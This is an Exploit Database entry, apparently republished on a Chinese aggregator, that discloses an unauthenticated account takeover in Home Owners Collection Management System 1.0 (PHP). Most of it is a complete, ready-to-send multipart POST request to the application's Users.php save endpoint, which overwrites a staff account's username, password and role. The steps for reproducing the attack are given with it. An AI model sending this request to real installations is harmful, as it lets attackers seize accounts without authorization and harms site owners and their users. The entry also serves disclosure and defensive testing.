Home Owners Collection Management System 1.0 – Account Takeover (Unauthenticated)

• Exploit Database
• 14 阅读

• 作者： Saud Alenazi
  日期： 2022-02-10
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/50730/

• # Exploit Title: Home Owners Collection Management System 1.0 - Account Takeover (Unauthenticated)
  # Date: 9/02/2022
  # Exploit Author: Saud Alenazi
  # Vendor Homepage: https://www.sourcecodester.com/
  # Software Link: https://www.sourcecodester.com/php/15162/home-owners-collection-management-system-phpoop-free-source-code.html
  # Version: 1.0
  # Tested on: XAMPP, Linux 
  
  
  Home Owners Collection Management System is vulnerable to unauthenticated account takeover.
  An attacker can takeover any registered 'Staff' user account by just sending below POST request
  By changing the the "id", "firstname", "lastname" , "username" , "password" ,"type" parameters
  
  #Steps to Reproduce
  
  1. Send the below POST request by changing "id", "firstname", "lastname" , "username" , "password" ,"type" parameters.
  
  2. Go to http://localhost/hocms/admin/ and Log in to the user account by changed username and password
  
  
  ==============================================
  
  POST /hocms/classes/Users.php?f=save HTTP/1.1
  Host: localhost
  User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
  Accept: */*
  Accept-Language: en-US,en;q=0.5
  Accept-Encoding: gzip, deflate
  X-Requested-With: XMLHttpRequest
  Content-Type: multipart/form-data; boundary=---------------------------8012296389370411172619882391
  Content-Length: 899
  Origin: http://localhost
  Connection: close
  Cookie: PHPSESSID=fvle60i4ru4enqa81o3kicskju
  
  -----------------------------8012296389370411172619882391
  Content-Disposition: form-data; name="id"
  
  
  -----------------------------8012296389370411172619882391
  Content-Disposition: form-data; name="firstname"
  
  hi
  -----------------------------8012296389370411172619882391
  Content-Disposition: form-data; name="lastname"
  
  test
  -----------------------------8012296389370411172619882391
  Content-Disposition: form-data; name="username"
  
  saud
  -----------------------------8012296389370411172619882391
  Content-Disposition: form-data; name="password"
  
  saud
  -----------------------------8012296389370411172619882391
  Content-Disposition: form-data; name="type"
  
  1
  -----------------------------8012296389370411172619882391
  Content-Disposition: form-data; name="img"; filename=""
  Content-Type: application/octet-stream
  
  
  -----------------------------8012296389370411172619882391--